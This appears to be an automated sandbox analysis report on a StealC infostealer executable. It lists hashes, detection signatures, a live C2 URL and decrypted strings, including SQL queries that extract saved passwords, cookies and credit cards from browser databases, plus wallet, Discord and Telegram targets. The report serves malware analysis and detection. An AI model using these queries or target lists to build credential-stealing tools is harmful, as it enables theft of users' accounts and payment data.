Windows Analysis Report
X4roU7TtF1.exe

Overview

General Information

Sample name: X4roU7TtF1.exe
renamed because original name is a hash value
Original sample name: 73adcb1012b382b6194c34b5cf277c9e.exe
Analysis ID: 1562757
MD5: 73adcb1012b382b6194c34b5cf277c9e
SHA1: d4f2a95a5e37a2af9a12367d2c2a1938e3ca7c55
SHA256: 4a1c3bd9ad6059315a24b7bbb2cd9d6164375555e41a7bfe2ca2353b54f4a32f
Tags: exeStealcuser-abuse_ch
Infos:

Detection

Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Machine Learning detection for sample
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
AV process strings found (often used to terminate AV products)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse usering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
One or more processes crash
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: X4roU7TtF1.exe Avira: detected
Found malware configuration
Source: 00000000.00000002.2192848328.00000000008FE000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://92.255.57.88/7bbacc20a3bd2eb5.php"}
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: X4roU7TtF1.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: INSERT_KEY_HERE
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 26
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 11
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 20
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 24
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetProcAddress
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: LoadLibraryA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: lstrcatA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: OpenEventA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CreateEventA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CloseHandle
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Sleep
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetUserDefaultLangID
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: VirtualAllocExNuma
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: VirtualFree
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetSystemInfo
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: VirtualAlloc
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: HeapAlloc
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetComputerNameA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: lstrcpyA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetProcessHeap
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetCurrentProcess
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: lstrlenA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: ExitProcess
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GlobalMemoryStatusEx
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetSystemTime
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SystemTimeToFileTime
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: advapi32.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: gdi32.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: user32.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: crypt32.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetUserNameA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CreateDCA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetDeviceCaps
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: ReleaseDC
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CryptStringToBinaryA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sscanf
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: VMwareVMware
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: HAL9TH
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: JohnDoe
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: DISPLAY
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %hu/%hu/%hu
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: http://92.255.57.88
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: /7bbacc20a3bd2eb5.php
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: /7550b1c08332241a/
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: 551488411
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetEnvironmentVariableA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetFileAttributesA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: HeapFree
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetFileSize
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GlobalSize
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CreateToolhelp32Snapshot
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: IsWow64Process
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Process32Next
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetLocalTime
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: FreeLibrary
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetTimeZoneInformation
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetSystemPowerStatus
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetVolumeInformationA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetWindowsDirectoryA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Process32First
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetLocaleInfoA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetUserDefaultLocaleName
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetModuleFileNameA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: DeleteFileA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: FindNextFileA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: LocalFree
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: FindClose
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SetEnvironmentVariableA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: LocalAlloc
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetFileSizeEx
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: ReadFile
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SetFilePointer
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: WriteFile
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CreateFileA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: FindFirstFileA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CopyFileA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: VirtualProtect
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetLastError
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: lstrcpynA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: MultiByteToWideChar
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GlobalFree
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: WideCharToMultiByte
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GlobalAlloc
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: OpenProcess
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: TerminateProcess
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetCurrentProcessId
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: gdiplus.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: ole32.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: bcrypt.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: wininet.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: shlwapi.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: shell32.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: rstrtmgr.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CreateCompatibleBitmap
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SelectObject
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: BitBlt
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: DeleteObject
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CreateCompatibleDC
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GdipGetImageEncodersSize
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GdipGetImageEncoders
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GdiplusStartup
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GdiplusShutdown
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GdipSaveImageToStream
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GdipDisposeImage
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GdipFree
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetHGlobalFromStream
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CreateStreamOnHGlobal
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CoUninitialize
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CoInitialize
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CoCreateInstance
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: BCryptDecrypt
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: BCryptSetProperty
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: BCryptDestroyKey
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetWindowRect
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetDesktopWindow
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetDC
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CloseWindow
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: wsprintfA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: EnumDisplayDevicesA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetKeyboardLayoutList
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CharToOemW
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: wsprintfW
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RegQueryValueExA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RegEnumKeyExA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RegOpenKeyExA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RegCloseKey
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RegEnumValueA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CryptBinaryToStringA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CryptUnprotectData
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SHGetFolderPathA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: ShellExecuteExA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: InternetOpenUrlA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: InternetConnectA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: InternetCloseHandle
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: HttpSendRequestA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: HttpOpenRequestA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: InternetReadFile
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: InternetCrackUrlA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: StrCmpCA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: StrStrA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: StrCmpCW
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: PathMatchSpecA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: GetModuleFileNameExA
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RmStartSession
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RmRegisterResources
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RmGetList
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: RmEndSession
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3_open
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3_prepare_v2
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3_step
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3_column_text
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3_finalize
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3_close
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3_column_bytes
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: sqlite3_column_blob
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: encrypted_key
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: PATH
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: NSS_Init
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: NSS_Shutdown
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: PK11_GetInternalKeySlot
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: PK11_FreeSlot
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: PK11_Authenticate
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: PK11SDR_Decrypt
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: C:\ProgramData\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: browser:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: profile:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: url:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: login:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: password:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Opera
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: OperaGX
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Network
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: cookies
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: .txt
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: TRUE
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: FALSE
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: autofill
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: history
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: cc
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: name:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: month:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: year:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: card:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Cookies
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Login Data
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Web Data
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: History
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: logins.json
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: formSubmitURL
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: usernameField
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: encryptedUsername
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: encryptedPassword
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: guid
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: cookies.sqlite
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: formhistory.sqlite
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: places.sqlite
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: plugins
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Local Extension Settings
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Sync Extension Settings
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: IndexedDB
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Opera Stable
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Opera GX Stable
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: CURRENT
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: chrome-extension_
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: _0.indexeddb.leveldb
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Local State
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: profiles.ini
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: chrome
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: opera
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: firefox
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: wallets
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %08lX%04lX%lu
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: ProductName
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: x32
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: x64
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: DisplayName
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: DisplayVersion
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Network Info:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - IP: IP?
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Country: ISO?
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: System Summary:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - HWID:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - OS:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Architecture:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - UserName:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Computer Name:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Local Time:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - UTC:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Language:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Keyboards:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Laptop:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Running Path:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - CPU:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Threads:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Cores:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - RAM:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - Display Resolution:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: - GPU:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: User Agents:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Installed Apps:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: All Users:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Current User:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: Process List:
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: system_info.txt
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: freebl3.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: mozglue.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: msvcp140.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: nss3.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: softokn3.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: vcruntime140.dll
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \Temp\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: .exe
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: runas
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: open
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: /c start
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %DESKTOP%
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %APPDATA%
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %LOCALAPPDATA%
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %USERPROFILE%
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %DOCUMENTS%
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %PROGRAMFILES_86%
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: %RECENT%
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: *.lnk
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: files
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \discord\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \Local Storage\leveldb
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: \Telegram Desktop\
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: key_datas
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: D877F783D5D3EF8C*
Source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack String decryptor: map*
